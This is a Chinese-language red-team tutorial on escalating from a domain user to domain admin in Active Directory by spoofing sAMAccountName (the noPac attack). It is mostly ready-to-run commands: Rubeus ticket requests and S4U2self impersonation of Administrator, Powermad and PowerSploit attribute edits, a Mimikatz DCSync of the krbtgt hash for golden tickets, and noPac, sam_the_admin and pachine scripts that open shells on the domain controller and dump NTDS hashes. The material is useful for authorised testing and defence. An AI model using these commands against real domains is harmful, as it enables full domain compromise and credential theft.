天天看點

域内提權之sAMAccountName欺騙

文章前言

與标準使用者帳戶相比計算機帳戶的名稱末尾附加了$符号,預設情況下Microsoft作業系統缺乏可以防止許多攻擊的安全控制和強化措施,此外多年來已經證明Windows生态系統中許多事物工作方式可以通過利用現有功能和工作流程來實作濫用

具體來說,活動目錄中的每個帳戶在sAMAccountName屬性中都有自己的名稱,但是由于沒有控制導緻可以任意使用,是以任何擁有控制權和對象(即機器帳戶)的使用者都可以修改此值,該修改的目的可能導緻模拟域上的其他帳戶,例如域控制器計算機帳戶,Charlie Clark是第一個通過釋出詳細文章說明如何将這些漏洞武器化的人

在請求服務票證之前需要首先簽發票證授予票證(TGT),當為密鑰分發中心 (KDC)中不存在的帳戶請求服務票證時,密鑰分發中心将跟進在該帳戶上附加 $符号的搜尋,将此行為與對sAMAccountName屬性缺乏控制相結合,紅隊操作員可以利用它進行域權限提升,具體來說,可以請求域控制器帳戶的票證授予票證,并且在任何服務票證請求之前恢複sAMAccountName屬性值将強制KDC搜尋域控制器的機器帳戶并發出提升的服務票證代表域管理者

為了正确利用這種攻擊進行域更新,使用者需要擁有計算機帳戶的權限才能修改sAMAccountName和servicePrincipalName屬性,可以建立機器帳戶的使用者具有修改這些屬性所需的權限,預設情況下,域使用者的機器帳戶配額設定為 10,這允許使用者在域上建立機器帳戶,或者可以從作為機器帳戶所有者的帳戶的角度進行此攻擊,通過sAMAccountName模拟執行域更新包括以下步驟

  • 建立機器帳戶
  • 清除servicePrincipalName屬性
  • 修改機器賬戶的sAMAccountName屬性指向不帶$符号的域控制器名稱
  • 為域控制器帳戶請求TGT
  • 将sAMAccountName屬性恢複為其原始值或任何其他值
  • 使用S4U2self方法請求服務票證
  • 代表域管理者帳戶接收服務票證

下圖說明了sAMAccountName模拟技術的步驟:

域内提權之sAMAccountName欺騙

漏洞發現

Microsoft已釋出更新檔以防止成功利用,但是在許多情況下更新檔沒有按時應用,這會産生一個可以在紅隊評估期間利用該技術的時間段,該技術的先決條件如下

  • 缺少KB5008380和KB5008602安全更新檔的域控制器
  • 有效的域使用者帳戶
  • 機器帳号配額大于0

需要通路内部網絡,是以假設低權限帳戶已被盜用,如上所述,機器帳戶配額預設為10,是以唯一的要求是确定是否已應用更新檔,這是微不足道的,可以通過為域使用者帳戶請求沒有PAC的票證授予票證并觀察base64票證大小(與使用PAC簽發的票證相比更小)來實作,Rubeus可以與/nopac開關一起使用,為一個已知憑據的域帳戶請求TGT

Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap           

複制

域内提權之sAMAccountName欺騙

檢視票證大小可以了解域控制器很容易受到攻擊,因為PAC還沒有收到票證

域内提權之sAMAccountName欺騙

或者可以使用noPac C#工具檢索網絡上所有可用域控制器的TGT票證,該工具基于Rubeus,因為它使用庫Rubeus.lib.Interop.LUID來擷取票證,票證大小可以确定KDC是否在沒有PAC的情況下簽發了票證

noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234           

複制

域内提權之sAMAccountName欺騙

如果從PowerShell控制台執行操作,Shitsecure開發了一個PowerShell腳本Invoke-noPac,它将.NET 程式集noPac嵌入到base64中,由于該工具實際上是noPac,是以可以使用相同的參數來檢索票證

Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"           

複制

域内提權之sAMAccountName欺騙

手動檢索

有各種工具和腳本可以自動化來自域和非域加入系統的技術,然而在深入自動化之前,重要的是要了解如何使用現有的工具集手動執行這種攻擊,在活動目錄中建立機器帳戶對于紅隊操作來說并不新鮮,因為它也可以在基于資源的限制委派期間使用,Kevin Robertson開發了一個名為Powermad的 PowerShell子產品,該子產品具有可以在域上建立機器帳戶的功能

New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"           

複制

域内提權之sAMAccountName欺騙

使用PowerSploit的Set-DomainObject從已建立的機器帳戶中删除服務主體名稱值是微不足道的

Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"           

複制

域内提權之sAMAccountName欺騙

通過執行以下指令也可以從Powermad和SetMachineAccountAttribute 函數中修改sAMAccountName屬性值以指向域控制器主機名:

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"           

複制

域内提權之sAMAccountName欺騙

檢視活動目錄中的屬性,可以看出新機器帳戶的值現在指向dc,是以該帳戶可以模拟域控制器

域内提權之sAMAccountName欺騙

可以通過查詢域控制器來驗證sAMAccountName屬性是否被修改,PowerSploit中的GetDomainComputer函數可以枚舉域中機器帳戶的屬性

Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname           

複制

域内提權之sAMAccountName欺騙

對于涉及Kerberos的操作,Rubeus是标準工具,由于sam帳戶名稱已更改,是以可以從标準使用者的上下文中為dc帳戶請求票證授予票證

.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap           

複制

域内提權之sAMAccountName欺騙

sam帳戶名稱屬性需要恢複到其原始值或任何其他值,否則将不會發出服務票證

Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname           

複制

域内提權之sAMAccountName欺騙

由于TGT已存儲在記憶體中,是以可以使用S4U2self kerberos擴充代表域管理者請求服務票證,由于原始票據屬于dc使用者,但由于sam帳戶名稱已被重命名,是以Kerberos将查找dc$,它是一個有效的機器帳戶,并将為所請求的服務簽發票據

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]           

複制

域内提權之sAMAccountName欺騙

可以從現有會話中執行Mimikatz,以便使用DCSync技術轉儲krbtgt帳戶的哈希,以建立黃金票

lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt           

複制

域内提權之sAMAccountName欺騙

自動化實作

可以使用由Cube0x0開發的C#工具noPac直接從記憶體中自動複制 sAMAccountName欺騙的步驟,執行以下指令将建立一個具有指定密碼的機器帳戶,并獲得cifs服務的服務票證,該票證将被傳遞到記憶體中

noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt           

複制

域内提權之sAMAccountName欺騙

以下指令将驗證域更新,因為标準使用者可以枚舉域控制器上C$檔案夾的内容

dir \\dc.purple.lab\c$           

複制

域内提權之sAMAccountName欺騙

同樣如果初始植入是基于PowerShell的,則可以從Invoke-noPac腳本中使用相同的指令行參數,正如上面已經提到的它實際上是noPac C#工具的包裝器

Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"           

複制

域内提權之sAMAccountName欺騙

通路域控制器的C$檔案夾将驗證緩存到記憶體中的服務票證是否已提升

dir \\dc.purple.lab\c$           

複制

域内提權之sAMAccountName欺騙

非域内主機

該技術的相同原理可以應用于未連接配接到域的系統,Hossam Hamed釋出了一個名為sam the admin的python腳本來模拟攻擊,最初腳本将嘗試枚舉屬性ms-DS-MachineAccountQuota ,以确定是否可以在域中添加新計算機,然後将使用随機密碼建立一個機器帳戶,新計算機帳戶的sAMAccountName 屬性将被修改為包含域控制器計算機帳戶的值,将請求提升票證并将其儲存到緩存中,最後sAMAccountName的原始值”屬性将被恢複,并使用緩存的票證,将使用Impacket套件中的smbexec建立與域控制器的會話

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell           

複制

域内提權之sAMAccountName欺騙

該腳本包含一個标志,可用于轉儲域哈希,因為在背景使用secretsdump

python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump           

複制

域内提權之sAMAccountName欺騙

這些哈希可用于離線破解,以識别任何使用中的弱密碼,并确定用戶端的密碼政策是否足夠,是否符合行業标準或需要進一步評估,由于krbtgt帳戶的哈希是可見的,是以可以為域持久性建立黃金票

域内提權之sAMAccountName欺騙

Oliver Lyak釋出了一個類似的python腳本,它既可以用于掃描域控制器以識别易受攻擊的主機,也可以用于檢索票證授予服務票證

python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'           

複制

域内提權之sAMAccountName欺騙

對易受攻擊的域控制器執行以下指令将建立一個具有随機密碼的機器帳戶,以獲得票證授予票證,然後機器帳戶名稱将重命名并使用S4U2self為屬于域管理者組的管理者使用者檢索并儲存在本地的服務票證

python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'           

複制

域内提權之sAMAccountName欺騙

可以使用export KRB5CCNAME和存儲票證的路徑将票證導入Kerberos緩存,由于票證現在是從目前控制台導入的,是以Impacket psexec可以與 Kerberos身份驗證一起使用,以便通路域控制器

export [email protected]
impacket-psexec -k -no-pass 'purple.lab/[email protected]'           

複制

域内提權之sAMAccountName欺騙

這種技術的實作也可以通過一個基于名為noPac的 Python 腳本sam the admin的工具來實作,掃描程式腳本将枚舉ms-DS-MachineAccountQuota 屬性并将從所有可用的域控制器擷取票證授予票證,工單大小也将顯示在控制台中,以便快速識别易受攻擊的目标,在下面的示例中與發出帶有PAC的票證的主機10.0.0.1相比,在沒有PAC的情況下收到的兩張票證相對較小

python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1           

複制

域内提權之sAMAccountName欺騙

此腳本可以根據活動使用各種參數執行,指定域使用者的憑據和域控制器的IP 位址将實施攻擊,直到檢索到提升的票證

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1           

複制

域内提權之sAMAccountName欺騙
域内提權之sAMAccountName欺騙

附加-shell和-impersonate标志将在域控制器上建立會話

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator           

複制

域内提權之sAMAccountName欺騙

類似地- dump标志可用于從NTDS.DIT機密中檢索域使用者的哈希值,由于已經通過Kerberos票證實作了域管理者通路,是以擷取krbtgt帳戶的哈希将是建立域持久性的合乎邏輯的下一步

python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt           

複制

域内提權之sAMAccountName欺騙

參考連接配接

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://exploit.ph/more-samaccountname-impersonation.html

https://github.com/WazeHell/sam-the-admin

https://github.com/cube0x0/noPac